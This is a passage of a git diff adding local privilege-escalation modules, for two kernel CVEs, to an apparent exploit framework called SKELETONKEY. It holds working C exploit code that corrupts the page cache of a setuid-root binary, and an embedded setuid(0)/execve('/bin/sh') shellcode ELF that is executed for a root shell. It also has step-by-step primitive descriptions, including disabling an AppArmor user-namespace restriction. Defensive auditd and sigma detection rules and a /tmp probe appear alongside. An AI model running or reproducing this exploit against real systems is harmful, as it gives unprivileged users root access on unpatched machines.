ntohs(cli_addr.sin_port); + + /* send challenge */ + { + uint8_t ch[sizeof(struct rxrpc_wire_header) + 20]; + memset(ch, 0, sizeof(ch)); + struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch; + c->epoch = htonl(epoch); + c->cid = htonl(cid); + c->serial = htonl(0x10000); + c->type = RXRPC_PACKET_TYPE_CHALLENGE; + c->securityIndex = RXGK_SECURITY_INDEX; + c->serviceId = htons(svc); + for (int i = 0; i < 20; i++) + ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF; + struct sockaddr_in to = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + sendto(udp_srv, ch, sizeof(ch), 0, + (struct sockaddr *)&to, sizeof(to)); + } + + /* drain response(s) */ + for (int i = 0; i < 3; i++) { + struct sockaddr_in src; + if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break; + } + + /* forge DATA packet: wire header from userspace, payload from page cache */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = RXGK_SECURITY_INDEX; + mal.serviceId = htons(svc); + + struct sockaddr_in dst = { .sin_family = AF_INET, + .sin_port = htons(cport), + .sin_addr.s_addr = htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) + goto out_cli; + + int p[2]; + if (pipe(p) < 0) goto out_cli; + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) + { close(p[0]); close(p[1]); goto out_cli; } + close(p[0]); close(p[1]); + + usleep(1000); + + /* drain the error from the client socket (HMAC check fails as expected) */ + int fl = fcntl(cli, F_GETFL); + fcntl(cli, F_SETFL, fl | O_NONBLOCK); + for (int i = 0; i < 2; i++) { + char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + recvmsg(cli, &m, 0); + } + ret = 1; + +out_cli: + close(cli); +out_udp: + close(udp_srv); +out_key: + syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING); + syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key); + return ret; +} + +/* --- sliding-window write with progress display --- */ + +static void dd_progress(int done, int total, int fires) +{ + if (!dd_verbose) return; + int width = 40; + int filled = total ? (done * width / total) : 0; + int pct = total ? (done * 100 / total) : 0; + fprintf(stderr, "\r ["); + for (int j = 0; j < width; j++) + fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr); + fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires); + if (done == total) fputc('\n', stderr); + fflush(stderr); +} + +static int pagecache_write(int rfd, void *map, off_t base, + const uint8_t *target, int len, off_t file_size, + const char *label) +{ + uint8_t key[16]; + uint64_t seed = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); + int total = 0; + + int max_off = (int)(file_size - 28); + if (base + len - 1 > max_off) + len = max_off - (int)base + 1; + + /* Find first byte that differs. We must write everything from there + * onward โ€” each round's 15-byte damage zone corrupts the next bytes. */ + int start = 0; + for (int i = 0; i < len; i++) { + uint8_t cur; + pread(rfd, &cur, 1, base + i); + if (cur != target[i]) { start = i; break; } + if (i == len - 1) { + LOG("page cache already matches, skipping write"); + return 0; + } + } + int need = len - start; + + LOG("writing payload to %s (%d bytes from offset %d)", + label, need, (int)base + start); + dd_progress(0, need, 0); + + for (int i = start; i < len; i++) { + off_t off = base + i; + uint8_t want = target[i]; + uint8_t cur; + pread(rfd, &cur, 1, off); + + if (cur == want && i > start) + continue; + + int ok = 0; + for (int att = 0; att < 10000; att++) { + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + uint64_t r = seed; + seed ^= seed << 13; seed ^= seed >> 7; seed ^= seed << 17; + memcpy(key, &r, 8); + memcpy(key + 8, &seed, 8); + + size_t slen = 28; + if (off + (off_t)slen > file_size) slen = file_size - off; + if (slen < 16) slen = 16; + int rc = fire(rfd, off, slen, key, AES_KEY_LEN); + total++; + if (rc == 1 && ((const uint8_t *)map)[off] == want) { + ok = 1; + dd_progress(i - start + 1, need, total); + break; + } + } + if (!ok) { + if (dd_verbose) fprintf(stderr, "\n"); + ERR("byte %d/%d failed", i - start + 1, need); + return -1; + } + } + + LOG("%d fires total", total); + return 0; +} + +/* --- tiny ELF: setuid(0) + execve("/bin/sh") --- + * 120-byte ET_DYN ELF with overlapping phdr+header and /bin/sh in p_paddr. + * Reproduced verbatim from the V12 PoC. */ +static const uint8_t tiny_elf[] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x03,0x00,0x3e,0x00,0x01,0x00,0x00,0x00, 0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x38,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00, 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x78,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* code: */ + 0xb0,0x69,0x0f,0x05, /* setuid(0) */ + 0x48,0x8d,0x3d,0xdd,0xff,0xff,0xff, /* lea rdi, "/bin/sh" */ + 0x6a,0x3b,0x58, /* push 59; pop rax */ + 0x0f,0x05, /* execve("/bin/sh", 0, 0) */ +}; + +/* Pick the first readable setuid-root binary from the candidate list. */ +static const char *dd_pick_target(void) +{ + for (int i = 0; dd_targets[i]; i++) { + struct stat sb; + if (stat(dd_targets[i], &sb) == 0 && + (sb.st_mode & S_ISUID) && sb.st_uid == 0 && + access(dd_targets[i], R_OK) == 0) + return dd_targets[i]; + } + return NULL; +} + +/* Best-effort page-cache eviction for one path. */ +static void dd_evict(const char *path) +{ + int fd = open(path, O_RDONLY); + if (fd >= 0) { +#ifdef POSIX_FADV_DONTNEED + posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED); +#endif + close(fd); + } + int dc = open("/proc/sys/vm/drop_caches", O_WRONLY); + if (dc >= 0) { if (write(dc, "3\n", 2) < 0) {} close(dc); } +} + +/* ---- detect ------------------------------------------------------- */ + +/* + * Active sentinel probe: fire the rxgk primitive against a disposable + * /tmp file and check whether the page cache was corrupted. Never + * touches a setuid binary. Returns 1 vulnerable, 0 not, -1 probe error. + */ +static int dd_active_probe(void) +{ + char probe[] = "/tmp/skeletonkey-dirtydecrypt-probe-XXXXXX"; + int fd = mkstemp(probe); + if (fd < 0) return -1; + uint8_t seed_buf[256]; + for (int i = 0; i < (int)sizeof(seed_buf); i++) seed_buf[i] = 0xA5; + if (write(fd, seed_buf, sizeof seed_buf) != (ssize_t)sizeof seed_buf) { + close(fd); unlink(probe); return -1; + } + fsync(fd); + close(fd); + + int rfd = open(probe, O_RDONLY); + if (rfd < 0) { unlink(probe); return -1; } + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); + if (map == MAP_FAILED) { close(rfd); unlink(probe); return -1; } + + int result = -1; + pid_t pid = fork(); + if (pid == 0) { + setup_ns(); + usleep(10000); + int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (s < 0) _exit(2); /* AF_RXRPC unavailable */ + close(s); + uint8_t key[16]; + for (int att = 0; att < 64; att++) { + for (int k = 0; k < 16; k++) key[k] = rand() & 0xff; + if (fire(rfd, 16, 28, key, AES_KEY_LEN) != 1) + continue; + /* corruption hits a 16-byte block at the offset */ + for (int b = 16; b < 32; b++) + if (((const uint8_t *)map)[b] != 0xA5) + _exit(0); /* vulnerable */ + } + _exit(1); /* primitive did not land */ + } + if (pid > 0) { + int st; + waitpid(pid, &st, 0); + if (WIFEXITED(st)) { + if (WEXITSTATUS(st) == 0) result = 1; + else if (WEXITSTATUS(st) == 1) result = 0; + else result = -1; /* AF_RXRPC unavailable / error */ + } + } + munmap(map, 4096); + close(rfd); + unlink(probe); + return result; +} + +static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx) +{ + dd_verbose = !ctx->json; + + struct utsname u; + uname(&u); + + /* Precondition: AF_RXRPC must be reachable for the primitive. */ + int s = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (s < 0) { + if (!ctx->json) + fprintf(stderr, "[i] dirtydecrypt: AF_RXRPC unavailable " + "(%s) โ€” rxgk path not reachable here\n", + strerror(errno)); + return SKELETONKEY_PRECOND_FAIL; + } + close(s); + + if (!dd_pick_target()) { + if (!ctx->json) + fprintf(stderr, "[i] dirtydecrypt: no readable setuid-root " + "binary โ€” exploit has no carrier here\n"); + return SKELETONKEY_PRECOND_FAIL; + } + + if (ctx->active_probe) { + if (!ctx->json) + fprintf(stderr, "[*] dirtydecrypt: running active sentinel " + "probe (safe; /tmp only)\n"); + int p = dd_active_probe(); + if (p == 1) { + if (!ctx->json) + fprintf(stderr, "[!] dirtydecrypt: ACTIVE PROBE " + "CONFIRMED โ€” rxgk in-place decrypt corrupts " + "the page cache (kernel %s)\n", u.release); + return SKELETONKEY_VULNERABLE; + } + if (p == 0) { + if (!ctx->json) + fprintf(stderr, "[+] dirtydecrypt: active probe did " + "not land โ€” primitive blocked (patched)\n"); + return SKELETONKEY_OK; + } + if (!ctx->json) + fprintf(stderr, "[?] dirtydecrypt: active probe machinery " + "failed; falling back to precondition verdict\n"); + } + + /* No version-based verdict: the CVE-2026-31635 fix commit is not + * pinned in this module yet (see MODULE.md). Preconditions are + * present but patched/vulnerable cannot be determined passively โ€” + * report TEST_ERROR so --auto does not fire blind. Use --active to + * confirm empirically, or --exploit dirtydecrypt --i-know directly. */ + if (!ctx->json) + fprintf(stderr, "[?] dirtydecrypt: AF_RXRPC reachable on kernel %s; " + "patch-level cannot be determined passively.\n" + " Confirm with: skeletonkey --scan --active\n", u.release); + return SKELETONKEY_TEST_ERROR; +} + +/* ---- exploit ------------------------------------------------------ */ + +/* Runs in a forked child: corrupt the target's page cache, then either + * exec it (shell mode) or _exit cleanly (no_shell). Never returns on + * the shell path. Exit codes: 0 ok, 2 corruption failed, 4 precond. */ +static void dd_child(const char *target_path, int no_shell) +{ + int rfd = open(target_path, O_RDONLY); + if (rfd < 0) { perror("open target"); _exit(2); } + struct stat sb; + if (fstat(rfd, &sb) < 0) { perror("fstat"); _exit(2); } + + void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd, 0); + if (map == MAP_FAILED) { perror("mmap"); _exit(2); } + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); _exit(2); } + if (pid == 0) { + setup_ns(); + usleep(10000); + int sock = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (sock < 0) { ERR("AF_RXRPC unavailable"); _exit(4); } + close(sock); + _exit(pagecache_write(rfd, map, 0, tiny_elf, sizeof(tiny_elf), + sb.st_size, target_path) < 0 ? 2 : 0); + } + int st; + waitpid(pid, &st, 0); + munmap(map, 4096); + close(rfd); + if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { + ERR("page-cache corruption failed (status 0x%x)", st); + _exit(WIFEXITED(st) && WEXITSTATUS(st) == 4 ? 4 : 2); + } + + if (no_shell) { + LOG("--no-shell: page cache poisoned, shell not spawned"); + LOG("revert with `skeletonkey --cleanup dirtydecrypt`"); + _exit(0); + } + + LOG("page cache poisoned; exec %s to claim root", target_path); + fflush(NULL); + execlp(target_path, target_path, (char *)NULL); + perror("execlp target"); + _exit(2); +} + +static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx) +{ + dd_verbose = !ctx->json; + + if (geteuid() == 0) { + fprintf(stderr, "[i] dirtydecrypt: already root โ€” nothing to do\n"); + return SKELETONKEY_OK; + } + + const char *target = dd_pick_target(); + if (!target) { + ERR("no readable setuid-root binary to use as a carrier"); + return SKELETONKEY_PRECOND_FAIL; + } + LOG("target carrier: %s", target); + + /* Record the target so cleanup() knows what to evict. */ + int sf = open("/tmp/skeletonkey-dirtydecrypt.target", + O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (sf >= 0) { if (write(sf, target, strlen(target)) < 0) {} close(sf); } + + srand(time(NULL) ^ getpid()); + + pid_t pid = fork(); + if (pid < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } + if (pid == 0) + dd_child(target, ctx->no_shell); /* never returns on shell path */ + + int st; + waitpid(pid, &st, 0); + if (!WIFEXITED(st)) + return SKELETONKEY_EXPLOIT_FAIL; + switch (WEXITSTATUS(st)) { + case 0: return SKELETONKEY_EXPLOIT_OK; + case 4: return SKELETONKEY_PRECOND_FAIL; + default: return SKELETONKEY_EXPLOIT_FAIL; + } +} + +/* ---- cleanup ------------------------------------------------------ */ + +static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx) +{ + dd_verbose = !ctx->json; + + char target[256] = {0}; + int sf = open("/tmp/skeletonkey-dirtydecrypt.target", O_RDONLY); + if (sf >= 0) { + ssize_t n = read(sf, target, sizeof(target) - 1); + if (n > 0) target[n] = '\0'; + close(sf); + } + + if (target[0]) { + LOG("evicting %s from page cache", target); + dd_evict(target); + unlink("/tmp/skeletonkey-dirtydecrypt.target"); + } else { + LOG("no recorded target; evicting all candidate carriers"); + for (int i = 0; dd_targets[i]; i++) + dd_evict(dd_targets[i]); + } + return SKELETONKEY_OK; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] dirtydecrypt: Linux-only module " + "(AF_RXRPC / rxgk) โ€” not applicable on this platform\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t dd_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] dirtydecrypt: Linux-only module โ€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t dd_cleanup(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + return SKELETONKEY_OK; +} + +#endif /* __linux__ */ + +/* ---- detection rules (embedded) ----------------------------------- */ + +static const char dd_auditd[] = + "# DirtyDecrypt (CVE-2026-31635) โ€” auditd detection rules\n" + "# rxgk in-place decrypt corrupts the page cache of a read-only file.\n" + "-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt\n" + "-w /bin/su -p wa -k skeletonkey-dirtydecrypt\n" + "-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt\n" + "-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt\n" + "# AF_RXRPC socket creation by non-root (family 33) โ€” core of the trigger\n" + "-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc\n" + "# rxrpc security keys added to the keyring\n" + "-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key\n" + "# splice() drives the page-cache pages into the forged DATA packet\n" + "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"; + +static const char dd_sigma[] = + "title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n" + "id: 7c1e9a40-skeletonkey-dirtydecrypt\n" + "status: experimental\n" + "description: |\n" + " Detects the footprint of the rxgk page-cache write (DirtyDecrypt /\n" + " DirtyCBC, CVE-2026-31635): non-root creation of AF_RXRPC sockets\n" + " followed by modification of a setuid-root binary or /etc/passwd.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " modification:\n" + " type: 'PATH'\n" + " name|startswith: ['/usr/bin/su', '/bin/su', '/etc/passwd', '/etc/shadow']\n" + " not_root:\n" + " auid|expression: '!= 0'\n" + " condition: modification and not_root\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.31635]\n"; + +const struct skeletonkey_module dirtydecrypt_module = { + .name = "dirtydecrypt", + .cve = "CVE-2026-31635", + .summary = "rxgk missing-COW in-place decrypt โ†’ page-cache write into a setuid binary", + .family = "dirtydecrypt", + .kernel_range = "kernels exposing AF_RXRPC + rxgk (security index 6); fix commit not yet pinned", + .detect = dd_detect, + .exploit = dd_exploit, + .mitigate = NULL, + .cleanup = dd_cleanup, + .detect_auditd = dd_auditd, + .detect_sigma = dd_sigma, + .detect_yara = NULL, + .detect_falco = NULL, +}; + +void skeletonkey_register_dirtydecrypt(void) +{ + skeletonkey_register(&dirtydecrypt_module); +} diff --git a/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.h b/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.h new file mode 100644 index 0000000..4619a92 --- /dev/null +++ b/modules/dirtydecrypt_cve_2026_31635/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * dirtydecrypt_cve_2026_31635 โ€” SKELETONKEY module registry hook + */ + +#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H +#define DIRTYDECRYPT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module dirtydecrypt_module; + +#endif diff --git a/modules/fragnesia_cve_2026_46300/MODULE.md b/modules/fragnesia_cve_2026_46300/MODULE.md new file mode 100644 index 0000000..3741ded --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/MODULE.md @@ -0,0 +1,85 @@ +# fragnesia โ€” CVE-2026-46300 + +> ๐ŸŸก **PRIMITIVE / ported.** Faithful port of the public V12 PoC into +> the `skeletonkey_module` interface. **Not yet validated end-to-end on +> a vulnerable-kernel VM** โ€” see _Verification status_ below. + +## Summary + +Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege +escalation. `skb_try_coalesce()` fails to propagate the +`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket +buffers โ€” so the kernel forgets that a fragment is externally backed by +page-cache pages spliced in from a file. The ESP-in-TCP receive path +then decrypts in place, corrupting the page cache of a read-only file. + +Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the +candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a +commit it "fixes". It is the same page-cache-write bug class as Copy +Fail / Dirty Frag, reached through a different code path. + +## Primitive + +1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG` + `ecb(aes)` โ€” for any wanted output byte, this yields the ESP IV + whose keystream byte XORs the current byte to the target. +2. Enter a mapped **user namespace** + **network namespace**, bring + loopback up, and install an XFRM **ESP-in-TCP** state + (`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`). +3. A **receiver** accepts a loopback TCP connection and flips it to the + `espintcp` ULP; a **sender** `splice()`s page-cache pages of the + target file into that TCP stream behind a crafted ESP prefix. +4. The coalesce bug makes the kernel decrypt the spliced page-cache + pages in place โ€” one chosen byte per trigger. + +The exploit rewrites the first 192 bytes of a setuid-root binary +(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to +0 and `execve`s `/bin/sh`. + +## Operations + +| Op | Behaviour | +|---|---| +| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier โ‰ฅ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. | +| `--exploit โ€ฆ --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. | +| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. | +| `--detect-rules` | Emits embedded auditd + sigma rules. | + +## Preconditions + +- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks + this by default โ€” `sysctl kernel.apparmor_restrict_unprivileged_userns=0` + (or chain a separate bypass). This is the scoping question the old + `_stubs/fragnesia_TBD` raised; the module ships and reports + `PRECOND_FAIL` cleanly when the userns gate is closed. +- `CONFIG_INET_ESPINTCP` built into the kernel. +- A readable setuid-root binary โ‰ฅ 4096 bytes as the payload carrier. +- x86_64 (the embedded ELF payload is x86_64 shellcode). + +## Port notes + +The upstream PoC renders a full-screen ANSI "smash frame" TUI +(`draw_smash_frame` + terminal scroll-region escapes). That is **not** +ported โ€” it cannot coexist with a shared multi-module dispatcher. +Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`. +The exploit mechanism itself is reproduced faithfully. + +## Verification status + +This module is a **faithful port** of +, compiled +into the SKELETONKEY module interface. It has **not** been validated +end-to-end against a known-vulnerable kernel inside the SKELETONKEY CI +matrix. + +`detect()` deliberately does **not** return a kernel-version-based +patched/vulnerable verdict: the CVE-2026-46300 fix commit is not yet +pinned here. Instead: + +- preconditions missing โ†’ `PRECOND_FAIL` +- preconditions present, no `--active` โ†’ `TEST_ERROR` so `--auto` does + not fire it blind +- `--active` โ†’ empirical VULNERABLE / OK via the `/tmp` sentinel probe + +**Before promoting to ๐ŸŸข:** pin the fix commit + branch-backport +thresholds, add a `kernel_range`, and validate on a vulnerable VM. diff --git a/modules/fragnesia_cve_2026_46300/NOTICE.md b/modules/fragnesia_cve_2026_46300/NOTICE.md new file mode 100644 index 0000000..4770a92 --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/NOTICE.md @@ -0,0 +1,48 @@ +# NOTICE โ€” fragnesia + +## Vulnerability + +**CVE-2026-46300** โ€” "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP +local privilege escalation. `skb_try_coalesce()` fails to propagate the +`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket +buffers, so the kernel loses track of the fact that a fragment is +externally backed by page-cache pages spliced in from a file. The +ESP-in-TCP receive path then decrypts in place, corrupting the page +cache of a read-only file. + +Fragnesia is a **latent bug exposed by the Dirty Frag remediation**: +the candidate fix explicitly cites the Dirty Frag patch +(`f4c50a4034e6`) as a commit it "fixes" โ€” the Dirty Frag remediation +made a previously latent flaw practically exploitable. + +## Research credit + +Discovered by **William Bowling** with the **V12 security** team. + +> Reference PoC: +> Patch thread: + +## SKELETONKEY role + +`skeletonkey_modules.c` is a port of the V12 PoC +(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module` +interface. The exploit primitive โ€” the AES-GCM keystream-byte table +built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM +ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the +192-byte ELF payload โ€” is reproduced from that PoC. + +**Port adaptation:** the PoC's ANSI "smash frame" TUI +(`draw_smash_frame` + terminal scroll-region escape sequences) is +**not** carried over โ€” it is incompatible with running as one module +among many under a shared dispatcher. Progress is reported with +SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also +adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell` +support, and the embedded detection rules. Research credit belongs to +the people above. + +## Verification status + +**Ported, not yet validated end-to-end on a vulnerable-kernel VM.** +Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace +creation. The CVE-2026-46300 fix commit is not yet pinned in this +module โ€” see `MODULE.md`. diff --git a/modules/fragnesia_cve_2026_46300/detect/auditd.rules b/modules/fragnesia_cve_2026_46300/detect/auditd.rules new file mode 100644 index 0000000..6e6bb57 --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/detect/auditd.rules @@ -0,0 +1,31 @@ +# Fragnesia (CVE-2026-46300) โ€” auditd detection rules +# +# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a +# read-only file. These rules flag the syscall surface the exploit +# drives and writes to the setuid binaries it targets. +# +# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or +# skeletonkey --detect-rules --format=auditd | sudo tee \ +# /etc/audit/rules.d/99-skeletonkey.rules + +# Modification of common payload carriers / credential files +-w /usr/bin/su -p wa -k skeletonkey-fragnesia +-w /bin/su -p wa -k skeletonkey-fragnesia +-w /usr/bin/mount -p wa -k skeletonkey-fragnesia +-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia +-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia +-w /etc/passwd -p wa -k skeletonkey-fragnesia +-w /etc/shadow -p wa -k skeletonkey-fragnesia + +# AF_ALG socket creation (family 38) โ€” builds the GCM keystream table +-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg + +# XFRM state setup over NETLINK_XFRM +-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm + +# TCP_ULP espintcp + ESP setsockopt surface +-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt + +# splice() drives page-cache pages into the ESP-in-TCP stream +-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice +-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice diff --git a/modules/fragnesia_cve_2026_46300/detect/sigma.yml b/modules/fragnesia_cve_2026_46300/detect/sigma.yml new file mode 100644 index 0000000..e245a77 --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/detect/sigma.yml @@ -0,0 +1,30 @@ +title: Possible Fragnesia exploitation (CVE-2026-46300) +id: 9b3d2e71-skeletonkey-fragnesia +status: experimental +description: | + Detects the file-modification footprint of the Fragnesia XFRM + ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification + of a setuid-root binary or credential file, typically inside a + freshly created user + network namespace. +references: + - https://github.com/v12-security/pocs/tree/main/fragnesia + - https://lists.openwall.net/netdev/2026/05/13/79 +logsource: + product: linux + service: auditd +detection: + modification: + type: 'PATH' + name|startswith: + - '/usr/bin/su' + - '/bin/su' + - '/etc/passwd' + - '/etc/shadow' + not_root: + auid|expression: '!= 0' + condition: modification and not_root +level: high +tags: + - attack.privilege_escalation + - attack.t1068 + - cve.2026.46300 diff --git a/modules/fragnesia_cve_2026_46300/skeletonkey_modules.c b/modules/fragnesia_cve_2026_46300/skeletonkey_modules.c new file mode 100644 index 0000000..ec70b49 --- /dev/null +++ b/modules/fragnesia_cve_2026_46300/skeletonkey_modules.c @@ -0,0 +1,1127 @@ +/* + * fragnesia_cve_2026_46300 โ€” SKELETONKEY module + * + * Fragnesia ("Fragment Amnesia", CVE-2026-46300) โ€” XFRM ESP-in-TCP LPE. + * skb_try_coalesce() fails to propagate the SKBFL_SHARED_FRAG marker + * when moving paged fragments between buffers, so the kernel loses + * track of the fact that a fragment is externally backed by page-cache + * pages spliced in from a file. The ESP-in-TCP receive path then + * decrypts in place, corrupting the page cache of a read-only file. + * + * The bug is a latent flaw exposed by the Dirty Frag remediation + * (commit f4c50a4034e6) โ€” see ROADMAP.md / CVES.md. + * + * This module is a faithful port of the public V12 security PoC + * (xfrm_espintcp_pagecache_replace, github.com/v12-security/pocs/ + * fragnesia, William Bowling / V12). The exploit primitive โ€” the + * AES-GCM keystream-byte table, the per-byte IV selection, the + * userns+netns+XFRM ESP-in-TCP setup, the splice-driven sender / + * receiver trigger pair, the 192-byte ELF payload โ€” is reproduced + * from that PoC; see NOTICE.md. + * + * Port adaptations vs. the standalone PoC: + * - wrapped in the skeletonkey_module detect/exploit/cleanup interface + * - the PoC's ANSI "smash frame" TUI (draw_smash_frame + scroll-region + * escape sequences) is DROPPED; progress is logged with skeletonkey's + * [*]/[+]/[-] prefixes, gated on ctx->json + * - argv-driven target/offset/payload replaced with a fixed setuid + * carrier + the embedded 192-byte shellcode ELF + * - exploit() runs the PoC body in a forked child so its exit()/die() + * paths cannot tear down the skeletonkey dispatcher + * - honours ctx->no_shell; adds an --active probe that fires the + * primitive against a disposable /tmp file + * + * VERIFICATION STATUS: ported, NOT yet validated end-to-end on a + * vulnerable-kernel VM. Requires CONFIG_INET_ESPINTCP and unprivileged + * user-namespace creation. The fix commit is not yet pinned in this + * module, so detect() does not do a version-based verdict โ€” see + * detect() and MODULE.md. + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include +#include + +#ifdef __linux__ + +/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level + * Makefile; do not redefine here (warning: redefined). */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if __has_include() +#include +#else +#include +struct sockaddr_alg { + __u16 salg_family; + __u8 salg_type[14]; + __u32 salg_feat; + __u32 salg_mask; + __u8 salg_name[64]; +}; +#endif +#include +#include +#include + +#ifndef TCP_ULP +#define TCP_ULP 31 +#endif +#ifndef NETLINK_XFRM +#define NETLINK_XFRM 6 +#endif +#ifndef TCP_ENCAP_ESPINTCP +#define TCP_ENCAP_ESPINTCP 7 +#endif +#ifndef AF_ALG +#define AF_ALG 38 +#endif +#ifndef SOL_ALG +#define SOL_ALG 279 +#endif +#ifndef ALG_SET_KEY +#define ALG_SET_KEY 1 +#endif +#ifndef ALG_SET_OP +#define ALG_SET_OP 3 +#endif +#ifndef ALG_OP_ENCRYPT +#define ALG_OP_ENCRYPT 1 +#endif +#ifndef NLA_ALIGNTO +#define NLA_ALIGNTO 4 +#endif +#ifndef NLA_ALIGN +#define NLA_ALIGN(len) 